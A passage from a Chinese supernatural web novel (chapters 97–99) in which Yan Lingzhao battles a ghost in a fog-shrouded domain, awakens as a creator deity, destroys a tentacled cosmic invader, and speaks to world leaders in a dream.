说白了,神不就是拥有打破一切规则、强得让人看不见边际的力量的存在。如果有人类也能做到这一步,那Ta也可以是神。
***
宴泠昭所要赶往的任务地点并不在B市。
他在小区门口没等多久,一辆黑色越野车就无声地停在了他的面前。车窗降下,露出驾驶员带着善意笑容的脸。
“宴先生,请上车。”
车内弥漫着淡淡的皮革味,座椅上放着早已准备好的任务简报。
宴泠昭随手翻阅着,窗外的城市景观渐渐被郊区的田野取代。约莫半小时后,车辆驶入一处隐蔽的军用停机场。
停机坪上,一架墨绿色的军用直升机已经启动,螺旋桨卷起的气流让周围的草木低伏。地勤人员快步上前,为宴泠昭戴上降噪耳机。
“预计飞行时间三小时。”驾驶员通过耳机告知,“目的地附近有强气流,可能会有些颠簸。”
直升机升空时,宴泠昭透过舷窗看着逐渐变小的城市轮廓。飞行途中,他闭目养神,耳边只有引擎的轰鸣和偶尔传来的气流警报。
三小时后,直升机降落在F市郊区的一处临时起降场。
一辆迷彩涂装的越野车早已等候多时。
又大约一个小时,车子穿过警戒线,并继续向前行驶了一段距离,最终停在一个独立的自成一团的浓浓白雾前。
白雾很浓厚,看不见里面的样子;面积挺大,半径差不多有个百米。也就是一个普通小区的大小。
宴泠昭开门下车,一阵阴冷的风卷着落叶从他脚边掠过。他抬脚正准备走进白雾,一个声音叫住了他。
“宴先生!”现场指挥官小跑过来,“这是特制的通讯器”
宴泠昭说了声“谢谢”,接过。然后将通讯器揣进了衣服口袋。还好他今天穿的衣服口袋够大,不然要拿着这玩意相当碍事。
青年的身影渐渐被浓稠的白雾吞噬,就像被一张无形的血盆大口吞没。守在警戒线外的士兵们不自觉的屏住呼吸,握紧了手中的武器。
“队长”一名年轻的士兵忍不住低声问道,“那个人是谁啊?上面怎么就派他一个人进去?”
队长摇了摇头,目光仍盯着宴泠昭消失的方向:“我也不清楚。但既然上面派他来,就说明他有这个本事。”他顿了顿,“不然就是让他去送死。”
士兵咽了咽口水,偷偷瞄了一眼小区内翻涌的白雾。他听说过一些传闻——关于那些拥有特殊能力的人。如果传闻是真的,那刚才走进去的那个男人,恐怕就是其中最顶尖的存在
踏入小区的瞬间,宴泠昭就察觉到了异常。
视网膜被染成了猩红一片,宴泠昭还以为是血月,下意识抬头张望,没看见月亮,但也没看见太阳。
那就说明这个鬼域里的天空就是这个颜色。
正准备低下头,余光忽然瞥见一个黑影,宴泠昭立即转头望去,看到在旁边那栋住宅楼的天台上,站着一个臃肿的肉团。
——将近三米高的躯体由数个人体拼接而成,能清晰的看到少女苍白的脸、男人扭曲的五官、老人布满皱纹的额头,以及孩子天真的笑容。
而最诡异的,是他们所有人的嘴角都是上扬着的,嘴角咧开到不可思议的弧度。
“咯咯咯”
肉团发出重叠的笑声,突然从二十多层高的天台一跃而下。
“轰!”
地面剧烈震动,水泥路面被砸出一个深坑。肉团缓缓站起,九双眼睛同时锁定宴泠昭,然后猛地冲了过来!
宴泠昭神情漠然,光团在掌心凝聚,化作一柄炽白的长剑。他闪身避开肉团的冲撞,长剑横扫,直接将最外侧的那颗头颅斩落!
黑色的液体喷溅而出,但伤口处立刻冒出无数肉芽,转眼间又长出一颗新的头颅。
宴泠昭皱了下眉,手中的长剑重新变回光团,又骤然爆发,化作数十道利刃将肉团贯穿。
“噗嗤!”
肉块四溅,但落地后立刻蠕动起来,像有生命般重新聚合。
之后无论宴泠昭将它伤成什么样,肉团诡异都能完全愈合。而宴泠昭的体力却在不断被消耗,呼吸开始变得急促,额角渗出细密的汗珠。
肉团再次扑来,这次速度更快。
宴泠昭勉强闪避,还是被擦中了左臂。剧痛传来,他低头一看,手臂上的皮肤正在以肉眼可见的速度变黑、腐烂。
不得不说,宴泠昭反应不可谓不快——他之前从来没如此使用过光团,但就像本能,又或是他脑子足够聪明,竟无师自通操控光团在体内流转,成功压制住了侵蚀。可肉团诡异也趁机将他逼到墙角,数十张嘴巴同时张开,露出里面密密麻麻的尖牙。
就在这千钧一发之际,宴泠昭突然恍惚了一瞬。
他看到漆黑的天空、看到一轮黑日高悬其上并且那黑日给他的感觉很小,仿佛伸手就能握住。
这个念头刚起,他的意识就无限拔高,仿佛化身顶天立地的巨人。黑日在他的眼中也真的变小了,如同一个微不足道的黑点,而他——
可以轻易捏碎。
如此想着,宴泠昭也如此做了,他伸手,用力握住。
“咔嚓。”
一声清脆的碎裂声在脑海中响起,紧接着是刺破耳膜的尖啸!
宴泠昭猛地回神,发现面前的肉团诡异正在疯狂扭曲、膨胀,然后“砰”地一声炸成漫天黑雾。周围的景象也开始崩塌,血色天空像玻璃般碎裂,露出后面正常的天空颜色。
【作者有话说】
[撒花]
97 第 97 章
◎尤文托斯:决定了,梭.哈(赌了)!◎
宇宙。
黑暗的虚空中, 被无数触手缠绕包裹的太阳突然剧烈震颤起来——那些新生的、还泛着黏腻光泽的触手,竟如同遇到烈日的霜雪般迅速消融。
又来了!
尤文托斯在心中暗骂。
祂不久前才被某位削掉三分之二, 这会好不容易重新长出来,转眼间又化为乌有。明明这次祂特意挑选了远离那位人间体的区域行动。
难道祂已经醒了?
尤文托斯忌惮的视线穿透空间,投向月球表面。那里,一个白色的身影依旧双眼紧闭,长睫在真空中纹丝不动。白色的衣袍于无风的月面上静静垂落,仿佛时间都在此静止。
很好, 没醒。
尤文托斯松了口气。
祂的触手不安地蠕动着,心想:只要小心行事,一点一点蚕食,就不会惊醒祂
想到这里, 尤文托斯泛起一丝得意,忍不住幻想成功窃取这个世界本源后的景象——到那时, 祂将完成最终的升格, 成为真正的至高存在。
再谨慎一些
新的触手从太阳表面缓缓生出。
要不是本源就在那一块, 祂恨不得选离那位直线相距最远的地方。
地球。
傍晚七点,央视新闻栏目。
“最新消息,玉树路绿湖小区”
女主持人语气严肃,同时画面切换到事发小区的航拍。
破碎的建筑残骸中, 救援人员正抬出一具具盖着白布的遗体。
“经确认, 此前失联的两支武警小队及数名平民均已遇难”
社交媒体瞬间炸开了锅:
【数名具体是多少名?】
【一个小区, 你觉得呢?不过那时是工作日,上学的上学, 上班的上班, 伤亡应该没那么惨重】
【怎么又出事了?这已经是本月第三起了吧?还都是大事故!】
【是我的错觉吗?以前哪有这么频繁?】
【因为以前都是用意外事故之类的借口糊弄过去吧】
【但血月怎么解释?以前可从来没有过】
【感觉世界要完蛋了我们真的能活到老吗?】
***
国家特殊部门总部-会议室。
朱德宏盯着屏幕上的数据图表, 眉头紧锁。
“统计结果出来了。最近三个月发生的灵异事件, 单论破坏力和影响范围”下属汇报道,“比过去八十年加起来的总和都严重。”
张教授接话,手里的平板显示着更触目惊心的曲线图:“而且还在呈指数级增长。”
会议室里气氛凝重,凝重得人大气都不敢喘一声。
“最麻烦的是民众情绪。”一位文职官员擦了擦汗,“已经有不少人在囤积物资了,网络上也有很多悲观论点。”
朱德宏这时将准备好的一沓厚厚的报告扔在会议桌上,纸张散开,露出上面触目惊心的照片和数据。
“这是过去72小时内的异常事件报告。”他的语气沉重的说道,“17起邪教祭祀活动,2处新出现的鬼域,还有”他指向最上面那张卫星图像,“3个沿海城市检测到海水变异指数飙升。”
张教授推了推眼镜:“最糟糕的是这个。”他调出一段监控视频,画面中,一个黑袍人正在一个房间里布置祭坛。
当镜头拉近,能清晰看到祭坛中央摆放着一个缩小版的三根触手缠绕在一起的模型。
“黑日教的活动范围在扩大。”张教授说,“而且他们的仪式,越来越高效。”
话音刚落,视频里的画面突然剧烈晃动,黑袍人的身体开始扭曲变形,皮肤下钻出黑色的丝状物。
当画面恢复稳定时,原地只剩下一个由黑色物质构成的茧。
“这是今早刚收到的。”朱德宏关闭视频,“我们损失了两条人命才拍到的。”
深夜。
某沿海城市。
海浪拍打着防波堤,空气中弥漫着咸腥与腐朽混合的怪味。
一个穿着雨衣的男人鬼鬼祟祟地来到堤岸边缘,从背包里取出一个玻璃罐。
罐子里浸泡着某种黑色物质,在月光下泛着诡异的油光。男人颤抖着打开罐子,将内容物倒入海中。
“伟大的黑日尊者”他低声祈祷,“请赐予我力量”
黑色的液体接触海水的瞬间,竟像有生命般扩散开来。男人惊恐地后退,却发现自己的手指开始变黑、拉长,最终化为细长的触须。
“不这不是”他的声音戛然而止,因为喉咙已经变成了不断蠕动的黑色组织。
月球表面。
白发身影的眼睫微不可察地动了一下,很快又恢复平静。
但这一瞬的变化,却让远在亿万公里外的尤文托斯如遭雷击。
不可能
祂的触手疯狂舞动。明明还在沉睡不能真的要醒了吧!
太阳表面的“黑色毛衣”剧烈波动,新生的触手再次开始融化。尤文托斯惊恐的发现,这次消融的速度比之前快了好几倍。
不是吧,难道是祂没忍住加快了点速度刺激到那位了?
尤文托斯焦虑烦躁得触手四处摇晃。
不,应该不是,估计是那位本来就要醒了,没办法,祂能力有限,只能拖这么长时间。既然如此,赌了!所有,或一无所有,成败在此一举!
完成任务后回到B市的宴泠昭从梦中惊醒。
他的右手无意识地抽搐了几下,接着掌心浮现出一个月牙状的纹路,但随后又退了下去。
窗外,银月的光芒透过窗帘的缝隙,在地板上投下一道霜白的光痕。
12月21日,清晨。
窗外寒风呼啸,玻璃上结了一层薄薄的霜花。
宴泠昭裹着毛毯坐在沙发上,手里捧着杯热茶。八鬼在房间里各忙各的,好不热闹——
厨房里,李奶奶和田燕婉正在和面。
“馅儿得再剁细点。”李奶奶一边揉面团,一边对田燕婉说:“小宴喜欢吃荠菜猪肉的,得包得精致些。”
田燕婉笑着应声,手里的菜刀在案板上剁出细密的声响。香气从门缝里钻出来,混着蒸腾的热气,在玻璃上凝成一片白雾。
客厅地上,李小虎急得抓耳挠腮。
“你、你慢点儿!”他瞪着对面气定神闲的王玲玲,“这拼图肯定有问题!”
王玲玲头也不抬,“咔嗒”一声将最后一块拼图归位:“愿赌服输,去给我倒杯水。”
他们的赌注是输家给赢家当一天仆人。
李小虎“哇”地一声扑向何爷爷:“我不管!”
何老笑呵呵地摸着孩子的头,“反悔可不是男子汉的行为。”另一只手划拉着手机屏幕。
虽然生前的社交账号不能用了,但他记得儿子一家的账号。屏幕上是孙女最新发的视频:她和父母周末去了海洋馆玩,海豚在水里吐泡泡。
王大爷凑到旁边,笨拙地学着操作。幸好他也记得自家人的账号。当他看到儿媳妇发的悼念视频时,手指微微发抖。画面里,小孙女哭着喊“爷爷回来”,让他忍不住红了眼眶。
“老何啊”他声音沙哑,抬手抹眼泪,“你说他们要是知道我们这样”
何老拍拍他的肩,“那一定高兴啊,你想,咱们的亲人去世时,不也希望他们能回来吗。”
这时厨房门打开,田燕婉探出头:“桌子收拾一下,开饭啦!”
***
热气腾腾的饺子摆在桌上,旁边是刚炸好的春卷。
手机鬼目不转睛的盯着手机,屏幕上显示着购物网站的页面,全是红彤彤的春联和灯笼。
“要过年了,家里的东西得准备起来了。”他念叨道。
“小宴。”何老抬头唤道,“吃饭了。”
窗边,宴泠昭如梦初醒。
自从上次任务回来,他这几天总是走神,因为几乎每晚都会做梦梦到漆黑的太阳、血色的月亮,还有一个白色的身影。
对于后者,他莫名在意。
“来了。”
摇了下头,转身走向餐桌,八鬼已经围坐在一起。李小虎正偷偷把不吃的饺子皮夹出来扔到桌上,被李奶奶用筷子打了下手,抬起头刚想怒视回去,见是自家奶奶,一下就蔫了,把饺子皮夹回碗里不开心的吃下。
窗外寒风依旧,屋内却暖意融融。
这是宴泠昭很多年来,第一次感受到属于“家”的热闹。
2060年12月31日,下午两点。
B市中央商务区。
阳光透过玻璃幕墙洒进会议室。墨菲斯优雅地端起骨瓷茶杯,银质鸟嘴面具在阳光下泛着冷光。对面坐着全球传媒巨头公司的老板徐瀚培,以及他怀里那个扎着羊角辫的小女孩。
“徐总的诚意令人感动。”墨菲斯的嗓音充满磁性,“没想到救下的孩子是你的女儿,也算是善有善报。”
徐瀚培刚要回答,怀中的女儿突然拽了拽他的领带:“爸爸,外面变红了”
话音刚落,会议室骤然暗了下来。
墨菲斯转头看向窗外,三轮血月凌空悬挂,分别以上弦、下弦、满月的状态,将整片天空染成不祥的猩红色。不过墨菲斯的心情却很好,嘴角上扬。
尖叫声从外面传来。
原来是一群黑袍人不知从何处涌出,他们脖子上均纹着三根缠绕的触手图案,行为癫狂,仿佛嗑了药。
距离墨菲斯所在大厦最近的十字路口,一个黑袍人突然抓住一个路人,随后手臂裂开伸出触须,将受害者活生生绞成肉块。
“这这是”徐瀚培目瞪口呆,下意识抱紧了怀里的女儿。
墨菲斯面具下的唇角恢复平直,语气不悦,不过不是对徐瀚培:“看来我们的合作要暂缓了。”他起身,“建议徐总留在我们公司,这里很安全。”
徐瀚培想起女儿之前所说的话,加上亲眼看见了那片黑羽的神奇,选择相信墨菲斯的话,代称都换成了尊称:“您要去哪?”
“处理点事情。”墨菲斯优雅的行了个礼,“茶点已备好,请自便。”
说完,离开了房间。关上门的刹那,金属面具下的表情骤然冰冷。他感应着三个污染源的位置——北海南海与东海,最近的在东海。
“终于忍不住了?”
墨菲斯原地消失。再出现时,他飞在半空,以最快的速度赶往东海
L市。
大规模的暴乱警察根本忙不过来,更别提这群暴乱分子拥有“超能力”。
看着下方正在屠杀平民的邪教徒,墨菲斯无动于衷,眼神漠然。人类的军队自会处理这些杂鱼。
真正值得他在意的,是东海海面上那个正在成型的巨大黑影。
海水沸腾翻滚,一个由万千触手组成的庞然大物正缓缓升起。
“有意思”墨菲斯轻抚面具,“居然直接梭.哈。”他能感觉到这是那个外来入侵者的三分之一。
明明之前一直那么苟,走的是猥琐发育路线,也不知道突然间受什么刺激,放手一搏了。
他原本还愁着如何刺激沉睡的至尊苏醒,没想到敌人帮了大忙——这种规模的入侵,足以引发至尊本能的防御机制。
“哗——”
海面上的黑影完全显现,那是一颗巨大的黑色眼球,瞳孔里倒映着三轮血月。当它转动视线锁定墨菲斯时,整座城市的玻璃同时炸裂。
“你完整体我肯定打不过,可三分之一嘛嗯,依然打不过,但碰上几下还是没问题的。”墨菲斯从袖中抽出一柄散发着柔和白光的银色细剑,对准黑色眼球。
剑尖所指之处,虚空泛起涟漪。
与此同时,月球。
后背皮肤被无数触手连接的白色身影睫毛颤动了两下。
【作者有话说】
[撒花]
98 第 98 章
◎神明苏醒◎
墨菲斯的银剑划破血色天幕, 剑锋所过之处,空间如布帛般撕裂。黑色眼球发出刺耳的尖啸, 瞳孔中的血月倒影突然射出三道猩红光柱,直奔墨菲斯而去。
“真吓人。”
话是这么说,却听不出墨菲斯的语气里有一丝害怕。黑袍翻飞间,他的身影在空中留下九道残影。
猩红光柱穿透虚影,将下方几栋高楼拦腰截断。碎石飞溅中,墨菲斯的真身已逼近眼球本体, 银剑直刺瞳孔中央——
“噗嗤!”
黑色黏液喷涌而出,却在接触剑身的瞬间汽化。眼球疯狂震颤,海面掀起百米巨浪。墨菲斯借力后撤,这时, 他突然感应到什么,转头看向B市方向, 眼中充满欣喜。
“终于”
B市。
宴泠昭手中的茶杯突然炸裂。
八鬼同时停下动作, 震惊的看着他胸口迸发的金光。何老最先反应过来:“小宴!你——”
话音未落, 宴泠昭的身影已然消失。他原先所待的地方只余下一圈正在扩散的金色涟漪,八鬼或茫然或懵逼或凝重的面面相觑。
月球。
白色身影缓缓睁开双眼,金色的瞳孔中似有万千星河流转。祂微微垂首,目光穿透三十八万公里的虚空, 地球的轮廓在祂眼中纤毫毕现。
祂看见三轮血月高悬天际, 猩红的光晕笼罩全世界。刹那, 过去数年发生的所有变故如潮水般涌入祂的意识。
接收完信息,祂的视线最终定格在那被触手缠绕的太阳上。黑色的脉络在日面上蠕动, 像极了寄生在果实上的霉斑。
没有皱眉, 没有愠怒。
神明只是轻轻偏了偏头, 这个微小的动作却让整个太阳系的引力场为之一颤。
“尤文托斯”
清冷的声音在真空中荡开, 如同冰晶碎裂般刺破永恒的寂静。
月球表面骤然迸发出夺目的金光,那些缠绕在白发神明身上的触手,如同遭遇烈阳的霜雪,瞬间汽化消散。
祂缓缓起身,白色衣袍在无风的月面上无声垂落。触手的残骸在金光中扭曲挣扎,最终在祂脚边彻底消融。
东海战场。
墨菲斯单膝跪在破碎的楼顶,银剑插进混凝土稳住身形。他的面具裂开一道缝隙,露出下面苍白的皮肤。
海面上,黑色眼球突然剧烈收缩,所有触手齐刷刷转向太空方向。没等它做出反应,一道金色光柱从天而降,精准命中瞳孔中央。
光柱中,宴泠昭——或者说,苏醒的至尊缓缓降落。白发如雪,金眸如日,素白长袍在能量风暴中纹丝不动
海面沸腾翻涌,巨大的黑色眼球从漩涡中升起,瞳孔中倒映着三轮血月,每一次转动都引发方圆十公里内的玻璃爆裂。海军舰队被迫后撤二十海里,驱逐舰上的士兵们面色惨白的看着这一幕。
“报告指挥部!目标正在释放高浓度污染!”舰长对着通讯器嘶吼,“我舰已有二十一名船员出现异变症状!”
突然,所有电子设备同时失灵。
一道刺目的金光从天而降,在海面上劈开一道千米长的真空走廊。接着,白发金眸的身影踏空而来,每一步都在海面留下金色的涟漪。
海军上将的望远镜啪嗒一声掉在甲板上:“那那是”
只见那身影悬浮在眼球正前方,抬起右手,做了个虚握的动作。
下一秒。
“咔嚓!”
眼球表面瞬间布满裂痕,黑色黏液从缝隙中喷涌而出。三分之一分.身疯狂挣扎,数百条触手破海而出,却在距离宴泠昭百米处诡异的僵住,继而寸寸断裂。
海军士兵们看到永生难忘的一幕——那个让他们束手无策的怪物,就像被捏碎的鸡蛋般,在绝对的寂静中崩塌瓦解。
另一边,南海战区。
石油钻井平台正在沉没。
平台上的工人们绝望的看着海面下那个巨大的阴影。钢铁结构像面团一样扭曲变形,十几个同事已经被黑色触手拖入深海。
“救救命啊!”
一道金光刺破血月笼罩的天幕。
神明的投影踏浪而来,所过之处沸腾的海水平息如镜。祂甚至没有看那个正在溶解钻井平台的巨大眼球一眼,只是随意地挥了下手。
“轰!”
眼球突然内陷,像被抽真空的容器般坍缩成一个黑点,继而消失无踪。正在下沉的钻井平台瞬间凝固,扭曲的钢梁自动复原,被拖下海的工人们完好无损地出现在甲板上,心有余悸的大口喘息。
平台总工程师跪倒在地,颤抖着摸着自己完好无损的左腿——三分钟前,那里还缠着黑色触须。
最后一处,北海战区。
北海舰队已经损失了兩艘护卫舰。
第三艘舰的甲板上,海军陆战队员们正在做最后的抵抗。机枪子弹打在眼球表面就像石子投入泥潭,而对方每一次瞳孔收缩,就有更多士兵异变成怪物。
“准备弃舰!”舰长刚喊出口令,突然僵在原地。
整个世界仿佛被按下静音键。
宴泠昭的北海投影不知何时已经站在眼球正上方。祂低头看了一眼,仅此而已。
“砰!”
眼球毫无征兆地爆裂,黑色物质还未扩散就被某种无形力场禁锢,压缩成一枚核桃大小的黑色晶体。宴泠昭的投影伸手接住晶体,身影渐渐淡化消失。
直到这时,舰长才发现自己的军舰已经恢复如初,那些异变的士兵也恢复了人形,正茫然地坐在地上。
东海。
墨菲斯单膝跪在破碎的楼顶,面具下的嘴角渗出血丝。他抬头看向空中那个白色身影,对方只是给了他一个极淡的眼神。
但,足够了。
银剑出鞘,墨菲斯的身影瞬间出现在百里之外。那里有三个正在屠杀平民的邪教徒——剑光闪过,三颗头颅飞起时还在诡异的微笑。
收回视线,宴泠昭望向太空中的太阳,金色的纹路在祂瞳孔深处流转。
下一秒,尤文托斯的本体发出不甘的惨叫,宴泠昭连眉头都没皱一下,只是轻轻抬手,做了个抹除的手势。
就像擦掉玻璃上的一粒灰尘。
同一时刻,三轮血月同时出现裂痕
血月笼罩的街道上,正在挥舞触手的邪教徒突然僵在原地。他们脖颈上的黑色纹身如同活物般蠕动起来,触手图案挣脱皮肤的束缚,瞬间反噬宿主。
“救救我”一名邪教徒惊恐地抓挠着自己的脖子,却只能眼睁睁看着黑色触手钻入自己的眼眶。然而这反噬还未完成,他就连同触手一齐消融,化作缕缕黑烟消散在血月光下。
人群中,一个约莫七八岁的小女孩痛苦地捂住脖颈。她身上的触手落地后第一时间以最快的速度窜向最近的下水道格栅。
远处,宴泠昭的金色瞳孔微微转动。
已经钻入下水道半截的触手瞬间凝固,接着像被无形火焰灼烧般,从尖端开始寸寸化为灰烬
墨菲斯的身影自血雾中浮现,银质面具上沾染着几滴未干的血迹。他身后,数十名完全异变的邪教徒正在白焰中化为灰烬。
那些被污染至深的灵魂,已经没有挽回的可能。
“吾主!”他激动地跪伏在宴泠昭脚边,金属鸟喙面具抵着地面,声音因狂喜而颤抖:“我终于等到您——”
“噤声。”
神明却连眼神都未施舍一个,冷冰的二字让方圆百米的空气骤然凝固。
墨菲斯闭上嘴巴,面具下的表情委屈地垮下,连带着肩膀都微微耸动。
宴泠昭垂眸瞥了眼这个忠心耿耿的属下,金色瞳孔中闪过一丝几不可察的无奈。祂抬手轻点,一缕金光没入墨菲斯眉心。
——要说的,祂都已知晓。
墨菲斯浑身一颤,面具下的眼睛倏然亮起。他恭谨地俯首,这次再不多言。
收回视线,宴泠昭抬眼淡淡扫过满目疮痍的城市。
金色波纹以祂为中心扩散。所过之处,倒塌的建筑自动重组,伤亡的民众恢复生机,连被污染的海水都重新变蓝。
至于那些完全被污染的灵魂,宴泠昭只能将它们全部打散,重新凝聚,在天地中修养净化,等待下一个轮回
一切都结束了。
神明抬头,望向三轮血月破碎后、恢复原本样子的天空。
墨菲斯反应过来,声音急促:“吾主,你还要继续沉睡?!”
神明平静的回答:“我沉睡,是因为感应到了升格的契机。没曾想被钻了空子,是我的疏忽。”祂顿了顿,“不过现在,不会再有问题了。”
话音刚落,无数白色光点从天空飘落,像一场温柔的雪。
“虽没能升格,卡在了中间,但也获得了一部新的力量。”神明的身影开始变得虚幻,声音却依然清晰,“现在,我将它们赐予众生——本来,众生也是我的造物。”
光点融入大地、融入众生,世界仿佛被注入了新的活力。
神明的声音渐渐飘远:“如此,众生有了自保的能力而我,也能安心继续突破了。”
祂的声音飘散在空中,意识缓缓沉入更深层的进化之中。
2061年2月3日,小年。
李小虎和王玲玲坐在电视机前。
【“欢迎回到《走近科学》!今天我们要聊的话题是——维度。量子物理学家洛维奇斯博士在实验中观测到了一种奇特的现象:低维生物可以短暂感知高维存在,但无法真正理解它们的行为模式。就像蚂蚁永远无法想象人类为什么要修建公路,因为它们生活在二维平面世界!”
“没错,已知目前宇宙存在七个基础维度,而我们只能感知其中四个某些高维生命甚至能折叠自身,在不同维度间自由切换——就像我们翻动书页一样简单!”
“那么问题来了,如果高维生物真的存在,它们是否一直在观察我们?就像我们观察显微镜下的细菌一样?”
“理论上,是的。但它们可能无法与我们沟通。就像人类无法向二维、一维生物对话一样。”
“好的,感谢吴博士的讲解。现在,让我们来看一下观众们最关心的问题人类有没有可能升维?进入更高维度?”
“嗯从现有理论来看,难度堪比单细胞生物进化成人类。我们的身体受限于三维物理法则,强行升维可能导致结构崩解。不过有假说认为,意识或许能先一步晋升高维。比如濒死体验中灵魂出窍的描述,某些冥想者声称感知到多维空间——这些是否算另类的升维征兆?目前还无法验证。”
“所以,您的意思是,□□升维暂时无解,但意识偷跑有可能?”
“至少比带着这副碳基躯体硬闯更现实。”
(观众笑声)
“照您这么说,诡异最有可能升维?毕竟他们没有肉.体,以灵魂形式游走于世间。”
“好问题,我的回答是:对。不过身为活人的我们也不是完全没有希望,最近世界各地陆续出现、或者说觉醒很多能人异士或许哪一天,修真将不是传说。”】
“小虎、玲玲,洗洗手,吃饭了!”李奶奶在厨房喊。
***
虽然不爱吃青菜,但还是把奶奶夹的青菜痛苦吃完的李小虎叹了口气说道:“宴大哥什么时候回来啊?”
自宴泠昭上次突然离开,距今两个月了,他整个人就好似人间蒸发,杳无音讯,人类也联系不上他——人类那边的人(士兵诡异)找过他们,两边一对,谁也不知道宴泠昭去哪了。
何爷爷想的比较多,他隐隐猜到了什么,想到最近世界大变的格局以及新闻报道诡异和亲人相认、推翻诡异都是坏的结论
感觉,其他诡异跟和他们“复活”了一次一样,都恢复了生前的状态。并且国家也在有意往这方面引导。
不是说不行,就是是不是太快了?按照我国未雨绸缪、露一手藏n手的习惯,都ooc出天际了。除非国家知道些什么。
【作者有话说】
[撒花]
99 第 99 章
◎哪来的诡异之主?◎
时间回到2060年12月31日, 晚上7:44分。
首都。
窗外的玉兰树在夜风中沙沙作响,办公桌上那份关于今日白天出现的危机状况又“轻易结束”的报告还摊开在最后一页。
领导人揉了揉太阳穴, 终于决定结束这长达十八小时的工作。就在他靠在椅背上闭眼的瞬间,一阵前所未有的困意如潮水般涌来。
黑暗中出现一个光点,随即迅速扩大。领导人惊讶的发现自己站在一片星云流转的虚空中,脚下是缓缓旋转的蔚蓝星球。而在他面前,一个被柔和白光笼罩的身影正凝视着地球,银白色的长发无风自动。
“***(领导人名字)。”身影没有回头, 声音却直接在脑海中响起,如同千万个和声同时低语。
领导人本能地后退半步,却发现自己无法移动。同时,那个身影转过身来, 面容精致无瑕,完美到让人一眼看去产生的不是对美的惊艳, 而是对美到极致的非人感的警惕。
“不必紧张。这只是个梦——或者说, 是我特意为你构建的意识空间。”身影伸手轻点, 两人脚下突然出现一片草原,远处雪山巍峨,“这样说话也许你会比较舒服。”
领导人发现自己的声音恢复了:“您是?”
“创世者?造物主?随便怎么称呼。”神明席地而坐,示意他也坐下。
夜空中这时突然划过无数流星, 神明抬头望去:“时间不多了, 我要告诉你一些事情。”
“首先, 关于人类的起源。”神明抬手一挥,空气中浮现出DNA双螺旋结构, “地球上的生灵皆出自我手, 但都是随性之作, 就像孩子在海边堆沙堡。”
影像变成猿猴进化成人类的经典图示, 随即破碎成光点。
“而人类不同。在冥冥之中感应到升格方向的那天,按照你们人类的定义,我花了十万年构思你们的结构。”
新的影像展示出无数光影在虚空中组合分解,“特别是这个——”
领导人看到大脑三维模型在发光,灵光一闪:“您是说智慧?意识?”
“嗯。能够突破维度限制的特殊意识。”神明垂下眼睫,“第一批人类诞生时,我亲自教导他们知识那时,他们称我启明者。”
影像切换到远古壁画场景,戴着光冠的身影正在教授人类种植作物。
领导人:“后来呢?为什么所有古文明都”
“都没有关于我的记载?”神明,“当我真正触及升格门槛时,必须完全沉入本源之海。等我再次感知到地球时,已经过去二十万年——足够让最坚固的传承化为神话传说。”
星空突然暗沉下来,神明抬眸,语气平淡:“好了,不说那么远。关于诡异”
地面裂开,露出深渊中扭曲蠕动的黑影。
“有东西趁我升格时渗透了结界。它无法直接对抗我,就创造了诡异这种存在污染地球的秩序。”
领导人看到城市里游荡的黑暗人影:“这是?”
“被扭曲的灵魂,也是你们俗称的诡异。入侵者意图通过他们将自己的触手伸进地球,在不惊醒我的前提下。”神明声音冷漠,“不过它犯了个致命错误,准确来说,是赌输了。它早在动手前就应该想到我会醒来。”
领导人听到这里忍不住感慨:“赌博毁一生啊!”
神明:“入侵者已经被我消灭。现在起,之前被污染变成诡异的人得到净化,状态将与生前一样。之后只有灵魂强大的人死后才能以灵魂形式继续存留世间。不过,灵魂也是会消耗能量的,不够强大者,最终都会死。”
说完,神明站起身,整片草原开始发光:“我截取了部分升格获得的力量注入地球本源。”无数光粒从地底升起,“今后,植物会生长得更茂盛,动物可能觉醒初级智慧,而人类”
领导人突然感觉掌心发热,低头看去,一团微光在手中流转。
“你们得到的馈赠最多。”神明指向他手中的光,“这是“灵视”种子,能让你识别被污染的存在,今后一定还会有外来者入侵首批觉醒者会有三百人左右,包括各国领导人、科学家和某些特别纯净的灵魂。”
星空开始崩塌,神明的身影逐渐透明:“记住,地球现在是一颗正在进化的活体星球。人类”
声音越来越远:“是地球的守护者。”
***
领导人猛的惊醒,窗外已是黎明。他怔怔的看着桌上突然开花的绿萝,和掌心尚未消散的微光。
秘书敲门进来时,发现首长还在翻阅之前呈上来的报告,不过首页批注栏多了一行锐利的字迹,秘书隐约看见启明计划四个字
接下来的72小时里,各国领导人不约而同召开了一场紧急会议。
接着,是互通消息后的“全国大会”。
美国总统率先打破沉默:“所以你们也梦见了?”
俄罗斯总统:“自然,否则我们也不会相聚于此。”
会议室陷入短暂的沉默。
英国首相敲了敲桌面,“所以,现在的问题是——我们该怎么告诉民众,上帝刚刚给我们打了个“补丁”?”
一周后。
各国顶尖科学家、军事领袖和情报负责人齐聚一堂,议题却只有一个,那就是如何应对“新人类时代”。
讨论重点包括:
1. 觉醒者的筛选与管理(是否建立特殊档案?)
2. 诡异事件的后续处理(净化后的灵体/鬼怪是否享有公民权?)
3. 星际防御预案(外来入侵者环伺,人类该怎样应对)
会议持续了整整五天,最终,一个代号为“启明协定”的全球协作框架初步成型。
两个月后,最终方案敲定。
经过无数次辩论、模拟推演和风险评估,第一份“新世界人类生存指南”终于定稿。
2061年2月10日。
这一天,全球所有主流媒体、社交平台甚至街头广告屏,同步播放了同一段多语种视频。
标题:【人类文明“2.0时代”正式开启——关于世界真相的全球声明】
***
宴泠昭又一次站在了这片荒芜的废墟之中。
阴沉灰暗的天空下,断裂的高楼像被折断的肋骨般支棱着。他环顾四周,死寂的城市里只有风在呜咽。
走神间,一阵裹挟着尘埃的风掠过脚边,卷来一张泛黄的纸页。宴泠昭弯腰捡起,熟悉的标题映入眼帘:《人类文明终末通告》
内容与上次梦中所见如出一辙,只是纸张边缘多了几道裂痕。他下意识捏紧纸张,指节发白。上一次看到这份通告时,至少还有一对母子,而现在除了他,再看不见第二个人。
纸页在他手中化为齑粉。
宴泠昭尝试掐自己的手臂,指甲深深陷入皮肉,却感受不到丝毫痛楚。他又用力拍打脸颊,依然无法醒来。
这个世界仿佛变成了一个无法逃脱的牢笼。
没办法,宴泠昭只能漫无目的地行走。
坍塌的建筑物间,玻璃碎片在脚下发出刺耳的声响。不知走了多久,远处传来黏腻的咀嚼声。
宴泠昭屏住呼吸,循声望去。在商场废墟的阴影里,那个庞大的身影又一次出现了。以往它总是背对着他,坐在固定的位置。但这次
他放轻脚步,绕到另一个角度。
那个足有三层楼高的黑影正在进食。它畸形的身躯蠕动着,满身的触手正将一个人送向中央的口器。
随着令人牙酸的“咔嚓”声,一缕银白色的发丝从它嘴边垂下。
